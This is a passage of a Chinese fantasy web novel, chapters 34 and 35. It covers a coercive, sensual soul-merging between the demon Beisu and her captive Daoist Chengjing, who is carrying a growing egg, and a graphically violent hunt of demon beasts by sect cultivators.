这次她做了充足的准备,再次闯入他的灵海,迎接她的,是早已恭候多时的另一朵莲花。 她被这朵莲花包裹,吞没。 第34章 嫩白的花瓣张开,在她进来的一瞬间,将她吞进去,花瓣聚拢,困住她,再缓缓飘向灵海的主人。 成镜淡漠注视这朵困住她神魂的莲花,莲花由他凝出,里面的景象他看得一清二楚。 被吞进去后,起初她会动手去破开莲花,发现无法制造一丝裂痕,干脆坐在花蕊上,撑着下巴看花瓣内壁。 看的方向恰好便是他所在位置。 成镜稍稍往边上移了一步,她的视线也跟着一起转动,准确无误地捕捉到他的方位。 她能看得见他。 成镜对视那双眼,没有感觉到她的目光准确落在身上某一点,而是模糊的范围,推测她确实能感知到自己方位,但并不能看见他。 他动了动,没有走向困住她的莲花,而是转向那朵在孕育不知是谁的莲花。这才是自己的本体,某种意义上,是他的本体在孕育这东西。 在几乎连续两天不止的侵入下,她离开后,醒来时便感觉到这东西的存在,但并非现在这般只有拇指大小。一旦他尝试摧毁或是拿走,莲花都会合拢,不让他靠近。 几次尝试皆失败后,气得笑出来。 “连你也要向着她?” 他在灵海里待了许久,拿这东西没有办法,占了他丹田不说,还用他的灵海滋养神魂,有什么东西需要在刚孕育成型时就要滋养神魂?除了他猜想的那位,还有谁? 他在灵海里待的这段时间,逼自己接受这个事实,甚至在想,无法摧毁这东西,便要在他出世时,亲手杀死。 但在这之前,他想问清楚,自己真的是她用来复活月神的容器吗? 成镜不知自己为何执着要问清楚。 许是因为自己本身就不是纯粹的人,也非妖物,更非魔,前三百年里唯一的目的只有修炼飞升,是她打破平静如水的生活,将他拉入深渊泥泞中。 她是罪魁祸首。 在他杀死那东西前,他该问清楚,以防以后自己想起这一段过往时,因不知她究竟要用他复活谁而产生心魔。 成镜这样在心底告诉自己,耐心等她回来,期间尝试过冲开灵脉封锁,但效果不佳。 直到听见她的脚步声,脱口问出那句她去何处了。 既然要用他的身体复活她,就这么随意离开,不怕他对她心心念念的人做些什么吗? 她不怕,也不关心。 成镜静立良久,才抬眸看,障眼法散去,那颗拇指大小的类似莲子之物,缓缓增大,成了拳头大小,椭圆形,看着像某种兽类产下的蛋。 午时它还没这么大。 成镜伸手,不带任何恶念,只是单纯想碰碰它,莲花没有阻拦,反而主动将它托到他手边,稍微往前,便能碰到。 他忽然不敢去碰。 从某种层面上说,他算是它的生父,却要杀了自己的孩子。 他甚至不知道这里头究竟是什么。 成镜最终收回手,没有去碰,转身看向被囚禁在莲花内的女子。她不知何时站起身,伸手在内壁上画着什么。 他看不懂那是什么,也不知道这样能困住她多久。总之已经困住她,便不会轻易放她离开。 他要弄清楚那些梦境要如何触发,再进入其中探寻她的过往,弄清一切,然后…… 尘归尘,土归土,亲手结束一切。 成镜朝被自己所囚的女子走去,她仍然在画着什么,方要将莲花收缩,困住她身体只露出脑袋,一道极为危险的讯息传入脑中,他立刻后退。 莲花上浮现数道金色纹路,花瓣沿着这纹路裂开,成镜再要困住她时,已经来不及了。 她的身影顷刻间逼近,他只来得及将身后的那颗蛋隐藏,她已逼至身前,竖瞳盯着他,里头透着讥笑。 “道君只有这么点能耐?”北溯没有立即动手,她的视线越过成镜看他身后的那朵莲花,却不见先前看到的那东西,正要过去细看时,被他的话吸引了注意力。 “你不怕我将那东西扼杀吗?” 北溯目光转回他身上,仔细想了会,好像确实没有想过他能将鳞舞杀了。潜意识认为已经将他的身体炼化成功,已经成了她的容器,自然无法对鳞舞做些什么。 至于说流产动胎气,都是戏谑之言。 “你试试看?”北溯好整以暇看他,低头看他腹部,那里似乎微微隆起,想起之前梦境中他快要生的模样,某种怪异的情绪升起,若是在现实中那样做,应该比在梦境里更刺激,他给出的反应应该会更激烈。 等了一会也不见他动手,北溯没了耐心。 “机会给你了,你不用,那便由我来。” 话音刚落,眼前的人立刻往边上退。 北溯没想过放过他,若是没有昆仑那群人捣乱,她会顺其自然让他慢慢孕育,但现在,只能催化让鳞舞早些诞生。那样她的力量才能得到恢复,对上那群老不死的胜算才会更高。 所以只能辛苦他了。 她在原地看他边躲边动用灵海内储存的灵力来困她。 一朵朵莲花冲击过来,几次都没能击中她,使用的几招根本没有杀伤力。北溯轻松躲开,总觉得他没出全力,连上次能吞没凤鸣秘术的莲花都没使出来,他是在顾忌着什么吗? 北溯也没什么心思陪他玩,这几日连续输送神魂之力催化,自己身体都弄得吃不消,直接做完,早点结束。 待她解决了那几个老不死的,对他还有兴致的话,再回来看看他。 她抬手接住一朵莲花,捏碎,下一秒出现在成镜面前,动作快得他手中刚凝出莲花,就被她捏碎,握住掌心。 北溯握住他双手,神魂之力灌入,压制着他无法再攻击,随后将他双臂反剪到身后,稍一用力,将人压倒。 灵海察觉到主人倒下,立刻生出朵朵莲花接住他。 背后是柔软的花瓣,身前是她带着馨香的身躯。 成镜有一瞬间恍惚,觉得自己不该这样,为达目的而故意引她上钩,这与邪派做法有何异? 但很快扑面而来的酥麻夺走他的理智,需要耗费极大的力气,才能想起来自己本来的目的。 他要借这次机会,找到进入她过往梦境的钥匙,再次进入梦境,找到自己想知道的一切。只是片刻地想到这,身体忽然难以压抑,女子不满的声音响在耳畔。 “你不专心。” 北溯惩罚性地按住他胸膛,掌心按压,不出意外看到他在忍耐压制,忽然就来了兴致,想看他在自己手中失控。 两指捏合,稍微一动,再松开。她动了动手,思考自己应该如何去做效果才更好。 一直盯着他的脸看,等他露出一丝失控难捱的表情。令她冲动地再次之前的动作,换了指缝,他居然不躲。 北溯玩上了瘾,换了一边继续,还没碰上去,就听到男人难捱的声音,语调旋转好几个度,那声音谁听了都会血脉喷张。 “嗯……你——” 北溯没觉得自己有做什么,但他确实反应太大。 她试探了一下,去看他。 男人情难自控,眼神迷离,唇瓣微微翕动,双臂被禁锢着,什么都做不了,没法推开她,自己被折磨得分外痛苦还被她压住,已经被刺激得话都说不出来。 张开的唇也只是发出几声不成调的喘息,一个字都吐不出来。 “唔?”北溯不解,她还没开始灌输神魂之力,他反应就这么大了? 她动了动手臂,胳膊肘碰到一处冰凉又火热,低头一看,这才发现自己方才换边时,压到已经被她玩得异常绯红的胸膛。 难怪他会发出这种声音。 “唔……”北溯笑了:“所以碰你这里,你会很舒——” 她的唇被堵住,男人不想她说出令他羞愤难当的话,又没法伸手捂住她的唇,情急之下只能用力仰起上半身,用自己来堵住她的话。 他以为自己这么做,便不会听见那些污言秽语,方要退离,刚分开,一只手按住脑后,被迫再次碰上去。 “想来就来,想走就走?” 唇齿相接的瞬间,她神魂之力渡入,没有任何收敛地肆虐他,一手往下,轻碰他腹部,能明显感知到他的神魂颤抖,下意识要远离她,但这不可能。 北溯在想,若是将两次催化合并为一,他是否能受得住自己,他已经恢复到无妄境,应该不至于承受不住爆体而亡。 但她不能赌。 别的她可以赌,但鳞舞不行。 神魂相融确实能给人带来极大的欢愉,但他们其实都不知道真正的用途,更没有掌握其中奥妙。 一个只为借用这种方式灌输力量,一个被动带着,感觉到的精神愉悦也只是冰山一角。 他被迫张开口,承受她灌进来的一切力量。但有什么东西在快速吸收她灌输进来的力量,一被吸收走,脑中自己冒出一个声音,还想要她的力量。 本就被她灌输得胃口增大,灌进来的力量还没被捂热就被吸走,根本满足不了他。 于是他开始主动吸取。 北溯刚要退开些许查看他的情况,下唇被什么柔软的东西舔过,她忘了退开,见她没有生气,再次贴上来。 很软很软,口感很像她之前咬过的莲花花瓣,但比花瓣还要软。 北溯越发觉得不对劲,按住他双肩分开些距离,垂眸看过去。 神魂与身体连接,同步反馈身体情况。 男人仰着头,墨发散入花中,他的肤色不是与莲花那样一般的白,泛上了粉,稍微一掐,颜色更深。不知是因为被掐的,还是别的引起的。 眼帘没什么力气地半阖,长睫颤得很快,想一手按上去,叫他别颤。 北溯按上去了,甚至遮住他双眼,只看他下半张脸。 她忽然想蒙上这双眼,如此,似乎能看到他真实反应,没有刻意压制,全是真实流露。 暂停渡入神魂之力的这短暂时间,他先是难以抑制交融带来的快意,理智渐渐回笼,将其压制下去,挣脱束缚,推开她,莲花半合,遮住他身体,却没有远离。 北溯没有阻止他,只盯着他还未褪去的潋滟之色,看他匆忙偏开头,仔细看,能发现他又抿紧了唇。 这朵莲花真不是一般纯情,都已经有过那么多回,每次都会回到这副被欺负还什么都不懂的模样,每次的反应都很生涩,这要是她在被封印前遇到,必然会好好欺负几个月。 现在么,时间太短了。 北溯冲他勾了勾手,道:“我们继续?” 成镜极力控制自己的呼吸,表现得看起来正常些。他还记得自己的目的,方才没有准备好,被她引去了歧途。 不露声色地看了眼自己腹部,总觉得方才自己会有那样的想法,是被那东西影响了。在此之前,从不会觉得空虚,也不会主动去吸收她的力量。 这一次他绝对不能沉沦。 成镜在心底几次暗示自己,目的是探寻她过往,而不是被这该死的情欲折磨得失去理智。 他没有动,在她面前,他若是主动,会被她怀疑。 所以他开始动手驱逐她离开自己灵海,灵海内凝聚杀意,锁定那唯一的外来客,凝成实质的杀意射向她。 北溯没想到他还有力气杀自己,还有些棘手。躲了一会,见他还在莲花内未动,剥离丝丝神魂射向他眉心,这也算是将神魂之力灌入他体内,效果立竿见影。 男人发出一声闷哼,杀意消散,北溯进了莲花里。莲花遮住他们的身影,花瓣颤抖,往外散了些。 他还在反抗,但北溯渡过去的力量令他无法再支撑下去。 北溯乘机而入,正要加大输入,力量陡然断开,心口一痛,立刻意识到是自己身体出了问题。一抬眼,对上男人探寻的眼神,下意识捂住他的眼。 捂住他双眼的瞬间,漆黑的鳞片从她额间冒出,却又很快隐去,但再次冒出来。如此反复多次,最终只冒出几片亮黑鳞片,剩下的被她压了回去。 这更表明,她无法再等下去了。 身体已经出现妖兽特征,这是力量不足以支撑人形的昭示,只有鳞舞诞生后再次结契,才可恢复力量。 双臂上也附着鳞片,甚至更多。 她不想让成镜看到自己这副模样,要看,也该是她威风凛凛的本体。 他忽然挣扎,险些挣开她捂住双眼的手。 北溯皱眉,直接凝出黑绸带绑住他眼睛,顺带将他双手一起绑住,按在花瓣上,欺身而上,咬住他的唇,将力量灌进去。 还差一点,这一次就能结束。 她没管身上的鳞片,没了逗他的心思,但还记得去摸摸他腹部,感受那里凸起的弧度,微微弯了眸。 鳞舞,你再等等,很快你就能见到我了。 她没有掩藏她的虚弱,但也没有料到成镜对她的感知变得敏锐,注入进来的力量比之前稀薄了些,一般人察觉不到,但他们神魂交融多次,已经有了连接,能感觉到对方的情况。 他在想,这是很好的机会。 极力要将自己脱身,在神魂相碰时产生的精神连接里寻找破绽,需要坚守理智不沉沦,还要在错综复杂的连接中找到通往她梦境的那一条,极为困难。 尤其是,自己的身体,不受他控制。 有那么一刻,成镜想就这么断开,不去找梦境入口,但理智占据高地时,他又要自己坚持下去。 像是坠入海中,被巨浪拍打,大部分时候沉在水中,只有极少数时刻才能挣扎浮出水面。 而人什么时候掌握了能将情欲与理智分离的技能,一半的自己沉沦,一半的自己清醒? 在遇到她后,成镜才发现,他做不到。 许是她松懈了,灌进来的力量越来越少,内心深处的欲望无法满足,叫嚣着要更多,逐渐将他拉出来,理智回笼,集中注意力,在那千千万万条连接中,找到了一条很不一样的,他靠近过去 ,离得近了,那条连接化作一道木桥。 他可以确定,那就是通往她过去的桥梁。 那座桥就在眼前,只要往前跨一步,就能看到她过去。 成镜走向那座桥,即将站上去的一瞬间,一道声音突兀地响起,眼前桥梁塌陷,连接断开,他被拉扯着离开,眼前重新被黑暗笼罩。 她似乎着急结束,力量一下全都灌进来,他没有做好准备,控制不住地溢出痛苦声音。 “哈……”满得他难受,握紧双手,身子都蜷缩起来。 冰凉柔软的触感落到唇上,唇瓣被碰了好几下,他竟然荒谬地感觉到了安抚的意味。 然而她毫不留情的离开,嘲笑他的想法有多可笑。 被禁锢的双臂一松,绑住眼的黑绸带随着她的离开消散,眼前是莲花瓣,这里除了他,没有旁人。 成镜躺在莲花内,缓缓想起那道声音说的是什么。 “凤鸣来了。” 短短四个字,便叫她立刻离开。 成镜抬手遮住自己的眼,另一手握住,咬紧了唇,不让自己发出一丝声音。 花瓣合拢,将里头的人遮住。 许久之后,成镜从莲花内走出,除开皮肤上的粉还未散尽,已然看不出方才刚与人神魂交融。 他再次来到被自己掩藏的蛋前,撤去障眼法看清那颗蛋时,瞳孔一颤。 先前只有拳头大小,一只手还能握的过来,现在需要两手合拢才能拿稳。 又长大了些。 成镜伸手去抓,莲花立刻远离,把蛋保护在内。 他盯着莲花许久,薄唇张开,第一次说凉薄的话:“她都不要你。” 不知说的是莲花,还是蛋。 北溯出来后发现身体也有一样的变化,雾漓在外面等着,若非事情情况紧急,雾漓不会特意来告诉她。 耗费了些时间把鳞片收回去,转头一看床上的男人,感觉他腹部好像又凸起了些,不知是不是自己的错觉。现在没时间测量他肚子是不是真的有变化,等见完凤鸣回来再说。 殿门开启,很快闭合,脚步声远去,殿内安静下来。 成镜很久之后才出了识海,睁开眼不出意外又是黑暗。 他躺了会,按住床铺起身,却感觉到阻力,身子无法直上直下地起来,动作一顿,视线缓缓下移,看到明显隆起的腹部,撑着床的那只手用力到小臂都凸起青筋。 双眼死死黏在自己腹部,久到眼睛发涩,才猛地闭上眼,躺了回去。 这是他的报应。 是他踏入深渊放纵自己的报应。 双眼逐渐湿润,他甚至都不想回灵海去看那颗蛋。 忽然又想到自己是不是要将那颗蛋生下来。 这个念头荒谬得他自己都不敢信,一朵莲花生一颗蛋,这算什么? 良久之后,成镜侧着身子起来,用障眼法将肚子掩藏,看起来如正常人一般。 随后,他走向殿门,开门走出去。 他还有事情没做完,依她所言,还有最后一次神魂交融,这是他最后的机会。 魔宫内此刻妖王魔尊齐聚,北溯刚过去,凤鸣就着急道:“道宗开始动手捕捉妖将了,妖将以下妖兽碰见就杀,且这么做的不止道宗,其他宗门也在做此事。” 雾漓在一旁听着,没说话。 “捉妖将?”北溯不觉得他们的目的是妖将,妖将的实力与人族修士羿虚境相当,离无妄境还差很多,没什么威胁。 “他们的目的,应该是你和黎衣白。” 凤鸣不解:“他们要想抓我,应该会直接来,何必大费周章抓妖将?” 边上的雾漓发出嘲讽:“直接来抓你,抓的到吗?你以为那些个修士个个都是成镜,全都是入神境?” 凤鸣不想理他,但不可否认他说的有道理,但还是有疑惑:“你说昆仑的仙尊在,他们不可能没有办法——” 雾漓打断他的话:“被她打成重伤了,这会急着疗伤呢。” “你?”凤鸣瞪大眼看北溯,看着傻傻的,和他这美人脸配不上:“他们来杀你了?” 北溯没理他,在想道宗这么做是为什么,要用妖将做什么事,还是借此扰乱她的视线? 上次尝试破结界时必然已经知道她在魔界,他们绝不会放过她,怎么不急着来攻打魔界,跑去捉妖将? “我部下来报,在人皇城看到三位仙尊进皇宫,应是见了人皇。”凤鸣补充。 雾漓诧异:“人皇?” 北溯觉得不该让凤鸣来说,他没脑子,黎衣白来,还能和她一起分析分析。 “他们的阵法没有用妖兽当阵眼祭品的,抓妖将没用。要么牵制妖界实力,要么是混淆视听。” “你是说——” 凤鸣的话戛然而止,因为他看到了一张陌生的脸,还在那人身上嗅到了北溯的气息,顿时拉下脸,想到她之前说的话,问她:“他是谁?” 北溯顺着他的视线看去,殿门那只有一抹高挑的身影,诧异他怎么会来。 凤鸣的声音没有压低,殿内的人都能听见。 他问完,就见那人朝自己瞥来一眼,眼神森冷,莫名令他背后发寒。 这人真奇怪,看他的眼神怎么带着杀意一般。 成镜缓缓扫视殿内三人,妖王凤鸣,魔尊雾漓,站在中间的,就是她。 他迈脚朝里走去,每走一步,殿内气氛凝滞一分,到最后里头像是冰窟,能瞬间将人冰冻。 雾漓丝毫不掩饰对他的敌意,冲凤鸣道:“他啊,殿下金屋里藏的娇。” 凤鸣炸毛,立刻质问北溯:“你才回来多久,就——” 北溯一巴掌拍过去,盯着男人走过来的身影,话却是对凤鸣说的:“闭嘴。” 男人在她面前站定,冷眸只盯着她,眼里没有其他人。 北溯问他:“你来干什么?” 第35章 苍岩山腰道道疾风刮过,粗木树干断裂滚落,重重砸下来,眼看就要堵住前路。 逃亡的妖兽伏地身体,四肢并用,触到地面的爪带起泥土,眨眼间跑出几米远。在断木与地面只有一条狭隘的缝隙时,险险通过。 他们没有停下,奔跑的速度加快,甚至没有回头去看。 就在跑出这段树木茂盛的区域,坡度下降,很快接近山谷时,道道金符砸下,如千斤重的巨形器物,深陷泥土,躲避不及的妖兽被拦腰截断,断肢深入地下,血溅到后方妖兽身上,死的太快,一点声音都没能发出来。 后方妖兽呆滞,连掉头逃跑都忘了。 金符之光芒令这山腰异常明亮,御剑而来的修士居高临下俯视地面妖兽,见到妖兽本体,扫视一番,没有发现妖将,随手一挥,道:“无用,杀了吧。” 金符扩张开来,包围妖兽,将他们退路堵住,再收缩,不过片刻,沾满妖兽之血。 领头的修士手势变化,指尖抵住额间,吐出一字:“收。” 金符缩小,回到修士手中,化为一张金色符纸,他收好符纸,朝身后数名修士道:“继续搜寻妖将。” 天空划过数道流光,山腰上遍地狼藉,远远一看,那一处秃了一层皮一般,土壤都被掀出来。 离近了看,一地的尸块,血溅数尺。 修士手中寻妖法器转动,冲西北角望去,向身后众弟子道:“那有强大的妖气,定然是妖将,我等立功的机会来了。” 众弟子兴奋不已,跃跃欲试,若是他们能拿下妖将,献给道宗,必然能得仙尊青睐,届时说不定有机会前去昆仑一观仙界,对他们来说,此乃莫大的机遇。 离得越近,法器反应越强烈,修士兴奋起来:“绝对是妖将!” 他一声令下,弟子前去试探妖兽实力如何,他坐镇后方,及时使用杀咒困住妖兽,再生擒! 密林下妖兽身影闪现,弟子们立刻追上去,剑招齐齐上阵,抹杀低级妖兽,但未见到妖将。 他们对视一眼,不再杀妖兽,而是将他们困住,剑插入妖兽身体,挑起来在半空中来回玩弄,既不杀死他们,也不放过,用妖兽凄厉的吼声吸引躲藏在暗处的妖将现身。 他们这一招很快奏效,一只一人高的狼冲出来,一口咬住一弟子握剑的手臂,利齿穿透他的胳膊,巨狼脑袋一甩,弟子的身体被甩出去,叫声凄厉,血染狼毛。 他的胳膊被咬断了。 巨狼嫌弃地吐出断臂,一脚踩烂,仰天长啸,片刻后群狼回应,狼嚎响彻山谷。 巨狼死死盯着虐杀妖兽的修士,龇牙低吼,飞扑修士,精准咬住他肩膀,一口下来,直接穿透身体,肩膀凹陷进去,血肉模糊。 那修士直接昏迷过去。 巨狼扫视他们,看到这群修士两股战战,冷哼一声,鼻孔热气喷出。 周围响起嘈杂声响,地面颤动,千军万马飞驰而来,弟子们惧怕地环视周围,匆匆御剑升空,见到那道金光,欣喜若狂,掉头就冲那头巨狼狞笑:“有宗主的杀咒在,你休想逃脱!” 金符降下,山谷裂开数道深沟,赶来支援的妖兽躲避不及,坠入深沟,或是靠得太近,被绞杀。 金符分裂,八面包围巨狼。道道密集杀气凌虐,比雨线还细,避无可避,巨狼身上被割出血痕,狼毛掉落,很快见血。 妖将尝试数次,用身体去撞,妖力摧毁,都没法撼动这金符分毫。 修士大笑:“这道杀咒乃道宗宗主所赠,蕴含无妄境修士一道杀意,岂是你这等妖兽可摧毁的。” 巨狼无法,身体护在妖兽前,一双眼不甘憎恶,痛恨。 修士正待入其中将巨狼抓捕,眼前视线一红,脑中响起警报,身体好像被定住,明明察觉到生命受到极大威胁,可怎么都动不了。 金符在融化,弟子们在哀嚎,他的身体被火烤着,衣裳瞬间湿透。 “蝼蚁也敢动我族人。” 鲜红的身影出现在修士身后,火红的发飞扬,红瞳里火焰怒烧,蕴含一半威力的火球砸下,金符瞬息融化,弟子们身体燃起火,他们皮烧掉了,滋滋声响,焦味蔓延。 修士死死瞪着眼,手不听使唤,在身体冒出火时,才控制得了自己的双手,传送阵在他脚下亮起,人影消失。 被抛弃的弟子瞪着他消失的位置,求助的话被带入了地府中。 灰烬洒了一地,火焰熄灭,焦味依旧在。 凤鸣闻着这味,冲了冲鼻子,厌弃不已:“真臭。” 他朝底下幸存的妖兽喊:“全部退回腹地,告诉其他族人,不要暴露。” 随后他张翅离开,寻找其余被猎杀的妖兽。 苍岩山处于妖界与人界交界处,这里的妖兽普遍实力低,遇上羿虚境修士,只有跑的份。 道宗的指令一下达,以道宗为首的宗门纷纷响应,召集弟子追查妖将踪迹,遇到的低级妖兽通通斩杀。虽说还未进入妖界腹地,但所杀的妖兽数量已经达到百只,而这一切,仅仅才刚开始。 妖界不像魔域那样有北溯的结界保护,凤鸣能支援的范围有限,他与黎衣白兵分两路去救被围捕的妖兽。但人族修士极为狡猾,携带杀咒,可直接杀死妖将以下修为妖兽,根本不会给他们救援的机会。 妖界各区域基本上都会有一到两名妖将,越靠近妖界腹部,数量越多,在意识到人族修士要抓妖将的意图前,已经有数名妖将分散开救援妖兽,直到被发现修士将妖将活捉,黎衣白才意识到不对劲,立刻让凤鸣告诉北溯,她镇守妖界。 妖界三大战力种族只剩下她狼族一脉,一旦有危险,狼族必须先顶上去。 是以凤鸣在救出被围捕的妖将之一时,匆忙来魔界寻北溯,这也是那日北溯找他时,与他说好的。 来的不巧,深夜,还是北溯休息的时候,焦急等待雾漓把人喊过来,都没来得及问雾漓,北溯在他这怎么样。 谁知道刚说了一会,来了个不认识的人族修士,还是她的相好。 她找谁相好不行,非要找个人族,真以为自己离开妖界,就不是妖界一员了? 就算被打,他也要说:“我跟你说,现在人族杀了那么多我们族人,你不该在这个时候和人族待一块,他哪个宗的,把他当人质,威胁人族。” 这确实是现在妖族碰到人族会做的事。 北溯没理他,仍在看面前的男人,等他回答。她不限制他活动,但不意味着他可以来此地,尤其是他是人族的道君,而他们,与他对立。 三人与他一人对峙,此刻成镜在他们面前看起来,似乎任他们宰割。 雾漓倒是不担心他会听到什么,没有允许,他进不来。只是想看到凤鸣知道北溯藏了个人和她吵吵,看热闹罢了。要是能赶走此人更好不过,若非私心作祟,也不会放他进来。 他在后头将三人表情尽收眼底,脸上浮现笑。 最好打起来,他们俩打个遍体鳞伤,都死了更好。 “他是什么人?”凤鸣再次问,有要动手的意思。 北溯朝他看了眼,刚要出口,便听成镜冷声道:“与你何干?” 她转头看去,对上他凝了冰霜的眼,蹙起眉,不明白他在干什么。 她再次问:“你来这里,干什么?” 语气加重,已有不耐。 她确实该将他囚禁,放任他的结果,便是会被他干扰。 不再等他回答,直接上手去拉他,被他避开。北溯抬头看他,眼里透着三个字:你不乖。 成镜当做没看见。 抱着目的来此,他对妖王与魔尊了解甚少,而这两人皆与她相识,许是能从他们身上得知她的某些事。但现下显然不适合他问。 却也没想着离开,目光缓缓略过她,刻意忽视她的存在,转而看向凤鸣,与他交过几次手,在他修为降到无妄境时,他仍可敌得过凤鸣。 再转向雾漓,在黑水岛上交过手,实力与凤鸣相差不大。 所以若是此刻冲开灵脉,除开眼前已经受伤的未知数,这两人应当不是他对手。 但现在自己也是个未知数。 无法保证肚子里的东西会不会有异动。 思绪回笼,他开口,却不是回答她的话。 “昆仑知我在此地,不会放弃来救我。” 这是北溯与雾漓都知道的事实,凤鸣不知,现在他知道了,更坚定自己的想法,但怀疑他的身份。 他稍稍后退,离北溯近些,低声问她:“他是道宗的人?他很厉害吗,昆仑居然会来救他?” 两人之间距离堪堪超过一拳,成镜隐秘地瞥了眼他们之间的缝隙,不动声色地移开目光。 北溯没听进去凤鸣的话,她在想成镜说这句话的意图是什么,主动来当人质,让她去威胁道宗和昆仑?他会这么好心? 她还没说话,雾漓先开了口:“你在昆仑的地位,重要到昆仑会亲自来救你?” 北溯转头看雾漓,心头一跳,当即攥住成镜手腕,拉着人就往外走,他也不挣扎,任由她拉走。 身后的两人齐齐看他们,眼里情绪不一。 雾漓在说出这句话后,已经猜到什么,但还需证实,凝望他们背影的眼神幽暗,杀意缓缓外溢。若是真如他猜想的那般,此人不仅要留下,还要控制住,由他拿捏。 偏头一见凤鸣还傻傻看着他们,冷嗤一声,骂了句蠢货。 凤鸣转头盯着他,忽视他那句骂自己的话,问:“她一直都住你这?” 雾漓挑眉,转身坐下,颇为闲适地回了句:“是啊,一直住我这呢。” 果不其然,凤鸣立刻被激怒,愤愤问他:“那你为什么不告诉我?这你也要瞒着我?” “为何要告诉你?”雾漓缓缓笑出来,那笑没有温度,森冷得渗人,“当初我堕魔时,你可是第一个出来将我赶出妖界的,我们之间还有什么情分,能让我告诉你她在我这?” 凤鸣反问他:“你别忘了,你伤过她。” “这与我不告诉你她在何处,没有任何关系。”雾漓朝对面座椅指过去,收了笑,淡淡道:“你要是还想与她商议应对捕妖一事,就在这等着。” 凤鸣扭头看殿外,已经不见他们身影,想到北溯性子,没敢贸然去找人,挑了个离雾漓最远的位置坐下,躁候北溯回来。 北溯将人拉回寝殿,刚走进去,捂住的手抽离,他站在殿外,一双眼看着她。 她直接说:“你对他们说那句话,是在暗示他们你的身份。” 成镜没有否认。 “你不在乎我对你做的一切被人族知晓了?” 被提及此,成镜眨了一下眼,没有作声。 北溯在想他来她这,说出那句话的动机究竟是什么,灵海内她能听见雾漓声音,他应是也可以听见,他来魔宫便是证明了此点。 成镜一直处在魔域内,不可能有接触外界的机会,更不会知道人族修士在猎杀妖兽,所以他并不是为此而来。 要么他是想自爆身份令凤鸣与雾漓以他来要挟道宗,道宗与昆仑必会来救他,届时他会寻找机会逃脱。 这是唯一能解释得通的。 “你在利用他们,为你争取逃离魔界的机会。”她冷声出口。 成镜这才抬眼看她,抬起的视线从自己遮掩过的腹部掠过,落到她身上时,闪过一丝疑惑。 他有这么想吗? 成镜仔细回想,那句话应当没有这个意思,他只是单纯提醒她,昆仑会再来。 仔细一想,这句话确实也有她说的那层意思。 他没有再说,抬步走进殿内,经过她身边时,特地侧了身子,刚要走过她,猝不及防被她抓住手,往她的方向拉。 仓皇之间脑中只有一个念头,不能被她发现。 他慌忙抬手抵住她身体,去抽自己的手,谁知动作幅度太大,将她手拉扯着碰到自己,有那么一瞬,成镜觉得自己很久都不会再见人。 他立刻后撤,后背抵到门上,愣了好一会才回过神,匆匆走到里头,莲花一张一合,已经不见他身影。 北溯还在想她方才手背不小心碰到的地方是哪。 或者说,她碰到的,是正常的腹部,还是明显凸起的腹部。 好像看到他时,他看起来与平常无异,碰到的时候,却能感觉到他的腹部隆起,像是已经有几个月了。 她朝那朵紧密合拢的莲花看去,仔细想了想,应该是自己注入的神魂之力起了作用,鳞舞长得很快。 这是个好消息,意味着很快她就能见到鳞舞。 没有再去看他,北溯出了寝殿,一抬头,远处天空已经泛白,天亮了,更多的事要去做。 脚步声响起,逐渐减弱,殿内的莲花一动不动,什么都没有改变。 北溯重新回到魔宫,见他俩还在,直接下令:“今后魔域所有魔未经允许,不得离开魔界,步出界碑范围者,就地诛杀。” 她说完,凤鸣等了会,见她没有说的意思,问:“就这样?” 北溯点头。 凤鸣怒喝:“你知道要我提供消息给你,轮到妖界就什么都不管了?” 却被她冷嘲:“你是忘了,我现在连妖都不是?” 此话一出,凤鸣沉默,全然没有袭击道宗时的威风。看了北溯半晌,冷哼一声,掉头就走。 “我回去与黎衣白说。” 雾漓冲他气冲冲的背影笑。 还没走出去,凤鸣转身冲北溯说:“你真不想回去了?现在妖界只有我们,他们都死光了。” 他只看到北溯那双眼静静看着自己,没有说话,答案在她眼神里。 凤鸣忍不住问:“妖界你不回去,那为何要来找雾漓?魔界就可以待吗?” 北溯确实想过要回妖界,但在见到雾漓后改变了主意。解决完昆仑,接下来要杀的,就是雾漓。 她只说:“黎衣白比你有脑子。” 凤鸣掉头就走。 没看到他们打起来,甚至没一个受伤,矛盾也没激化,雾漓很是不满。他靠在椅背上,看着北溯若有所思。 “你带回来的人族,在道宗地位不一般吧。那日昆仑来此,并非是知道你在此处,对吗?” 北溯转而看他,一挑眉,道:“知道他不一般,你敢动手抓他吗?” “我自然不敢,他是你的人。”雾漓起身,扯了扯身上布料,笑得幽深:“那你可得防着他,说不定他与道宗联系上了,正密谋要怎么捅你一刀。” 他走过北溯身侧,侧过头看她,留下一句话:“毕竟你身边的人,没有一个不是伤过你的。” 他扭回头要走,顿觉背后一寒,躲避的动作抵不过她攻击的速度,后颈被掐住,力气大得如同被千斤重的钳子砸中。 没有露出一分痛色,他继续说:“说不定你和他翻云覆雨的时候,就被他捅穿了。” 北溯捏紧他后颈,把人往外甩,身体砸在地面,滚了一圈。 她低眸睨视,“不该你操心的事,少操心。” 雾漓瞥着她从自己身侧走过,缓缓爬起来,捏了捏后颈,神色阴郁。 北溯没有回寝殿,她出了魔界,去找猎杀妖兽的修士。确实如凤鸣所说,见到低级妖兽就杀,捕捉妖将。 大多都不是道宗之人,但每抓到一只妖将,他们就会将其送往道宗。 北溯再次潜进道宗,被抓到的妖将全都关在六重山,严刑拷打,严重的皮都被剥了。观察了半个时辰,目前被抓来的共有十八只妖将。 她已经与世隔绝多年,不知目前妖界存活的妖将有多少,但十八只不是小数目,且抓妖将的修士都有堪比无妄境全力一击的杀咒,显然是有备而来。 北溯变幻身形,跟在进入囚牢里弟子队伍末端,听他们说话。 “底下那些个小宗还挺厉害,短短几天,能抓到这么多妖将。” “你也不看看发令的的人是谁,昆仑仙人都在我宗,他们巴不得来邀功。” “他们能为道宗效力,是他们的荣幸。” 北溯在想要不要给他们捣乱,实在看不惯他们这副高高在上的样,恶心。 “不过已经抓了这么多妖将,妖王怎么还不来救他们?不是说妖族十分讲义气,一只妖遇险,群妖去救?” “急着逃命呢,你还真信了妖族讲义气,真是笑话。”说话的弟子哈哈大笑,此刻恰好走到关妖将的囚牢前,他这笑声盖住妖将有气无力的痛苦呻吟,对比鲜明。 弟子打开牢门,一脚踹上妖兽身体,哼笑:“还妖将呢,还不是被我们轻易降服。” 话音刚落,他痛呼一声,捂住自己后脑勺弓着身子蹲下来,半晌没说得了话。 他身侧的弟子立刻警惕望四周,只看到同样惊愕的同门,找不到那一击从何而来。 “见鬼了,大白天的怎么会莫名其妙被打。” 